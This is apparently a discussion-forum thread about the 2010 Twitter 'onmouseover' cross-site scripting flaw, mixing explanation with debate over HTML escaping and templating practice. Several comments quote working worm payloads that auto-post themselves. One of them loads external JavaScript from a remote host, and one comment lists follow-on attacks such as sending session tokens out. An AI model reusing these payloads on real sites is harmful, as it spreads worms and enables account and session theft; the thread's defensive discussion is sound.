Twitter 'onmouseover' security flaw widely exploited
sophos.com
sophos.com
Reminds me of the MySpace worm that took the site down
Time to change your passwords!
(Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie. $() to grab an element), url shorteners and ability to include external JS mean that you can do almost anything in the 140 char payload.
Explainer:
The vulnerability is because URL's are not being escaped properly. For eg. the following URL is posted to Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like: <a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element.You don't have to use onmouseover. You could close the link and then insert some external javascript that can re-write your tweet to make it look innocent (or hide that entire tweet), then attach a mousemove event to the body document. This means you could propagate a worm silently and without requiring a mouseover on the actual tweet.
(edit: pretty concerned about the number of people here who think that being able to inject javascript on a site in the context of a users session is not a big deal)
Here be Rainbows!
So this attack won't work on other sites that escape URLs properly.
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
With the URL expanding to: http://is.gd/fl9A7
Which is a 301 redirect to: http://lexasoft.jino-net.ru/up1415.js
Which has the content: $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/");
$('.status-update-form').submit();
So at least that one does nothing more than propagate itself, but it would be really easy to write one that's more harmful to users.I couldn't figure out how to style it up, and I'm not so cruel as to force retweets.
Screenshot: http://www.flickr.com/photos/broadyau/5011139993/
1. bit.ly redirect 2. run javascript hosted on github: http://github.com/broady/twitter-xss/blob/master/x.js 3. load cornify.js
From the photo it looks hilarious though. Nice job.
Here's the relevant commit: http://github.com/mzsanford/twitter-text-rb/commit/cffce8e60... (thanks to Paul Battley for finding it).
Then it simply doesn't matter what the user has managed to get down to the link generation code, the html_escape code should at least ensure that the user is stuck in the link itself. There are some paranoia things such a function should still do, such as remove all characters that are not legal in links or removing all invalid characters (incorrect UTF-8, for instance), consult the relevant standards standard for a full description. But this is still way easier and therefore more likely to correctly avoid XSS than trying to pick up all possible badness at the parse step.
It continues to astonish me how hard people make this and how much developers resist being told that their code is problematic, and how surprised they are when their site gets taken down by the stupidest errors....
Also, if at all possible, I strongly endorse environments where you don't literally type "<a href='" + html_escape(url) + "'>", because you will forget the html_escape. There are a variety of ways to reach this goal, depending on language.
I can only guess that they have two separate steps for transforming URLs into links and transforming @replies into links. Then they first run the URL transformer and then the @replies transformer, which would of course mess up the URL.
I have solved that problem in one of my Twitter apps (transforming both in one go), maybe I should send them a code snippet...
See http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%2... for more information.
URL encoding is for querystring parameters. The HTML escaping is for the inside of attributes. You need to do both, in the proper place; I assumed you already had a URL with the proper escaping at the time that I was discussing, again, for simplicity, because the full story doesn't really fit in an HN comment: http://www.jerf.org/iri/post/2548
That's also why I mention you need a separate phase specially for URLs, where you will for instance immediately reject any URL that does not start with one of your whitelisted protocols, which "javascript:" won't be on. "javascript:" is far from the only protocol that can get you in trouble, it's just the most obvious.
[PS: Just kidding]
You don't give the site your username & password. It uses OAuth to log in to Twitter.
http://t.co/@onmouseover=document.getElementById(status).value=RT CorinCole';$('.status-update-form').submit();"font-size:500pt;/Hmm, I wonder how many web-based twitter clients and widgets have similar vulnerabilities. I bet quite a few.
My related tweets from earlier tonight... ah, about the RainbowTwtr angle, not exploited tweets! :-)
http://twitter.com/jdub/status/25106766206 http://twitter.com/jdub/status/25112834543
In that case it surprises me that this has not been found before
Probably developer writing Twitter's template forgot to add escape call or thought that URL is a harmless ASCII thing and doesn't need escaping.
Building it into the templating engine just punishes all the devs who know what they're doing. Look at the history of things like MAGIC_QUOTES_RUNTIME to see what happens if you go down that route.
I don't think it's anything like magic quotes. It's more like prepared statements.
Magic quotes was enormous failure because it worked on input rather than output. In HTML-specific output code having HTML-escaping is just fine.
Lack of escaping enables worms and error isn't immediately visible. Double escaping is quickly visible, and it's harmless, which is why I think not trusting variables in HTML is a better default.
Having to do that would be enough to make me ditch any framework in favor of one that treats me like a grownup.
How many times have you written code that actually required raw, dynamic, unescaped html output in a template engine? I think I have... 2 times? And for 2 times I still had to escape the output 50% of the time - when displaying it in a form for the user to edit.
What you need is a type system. All data that comes from the user is of type UnescapedUserString. When the templating system sees this, it escapes it when written as HTML. Strings that you type into your program that you don't want to be escaped are of type EscapedString. Add some concatenation rules, and you're done.
If you were using Haskell, you wouldn't even need to change much code to do this, thanks to overloaded strings.
Does it mean my account is somehow affected or is it just someone in my timeline who posted this exploit?
Edit: Maybe 'affected' is the wrong term. After reading the article again, I think this code just has to be in my timeline to work. Please correct me if I'm wrong.
We've identified and are patching a XSS attack; as always, please message @safety if you have info regarding such an exploit.
http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() style="color:#000;background:#000;/It's not a huge security flaw, just some (this time) harmless javascript injection. What it does is it fires a mouseover event, then fills the main textarea with itself and clicks submit.
Elegant and bloody lovely.
Also very easy for twitter to fix.
Because the DM would come from you, a person they know, the person is more likely to trust the page or file that's linked to and less likely to catch it brutalising their computer.
The actual data on your Twitter account might not be valuable in itself, but it has significant value as a vector for other attacks.
http://www.sophos.com/images/blogs/gc/2010/09/onmouseover-po...
(hint: see URL or titlebar)
EDIT: mea culpa, you're quite right -- the potential for this is disastrous in terms of CSRF attacks and so on. I was thinking about this particular implementation that appeared to simply be propagating itself.
* login as that user by sending yourself their session token
* scrape email addresses
* follow a spam account
* popup an affiliate site
* trigger a download or one of the new flash exploits to gain access to the local system
your code has to fit within 140 chars, but you can use the libraries that Twitter has included in the page (like $()) to grab elements and make Ajax calls to their backend.
This is a shocker.
That's pretty much all you need. About 15 chars + length of the script url.
So yeah, there's effectively no limit.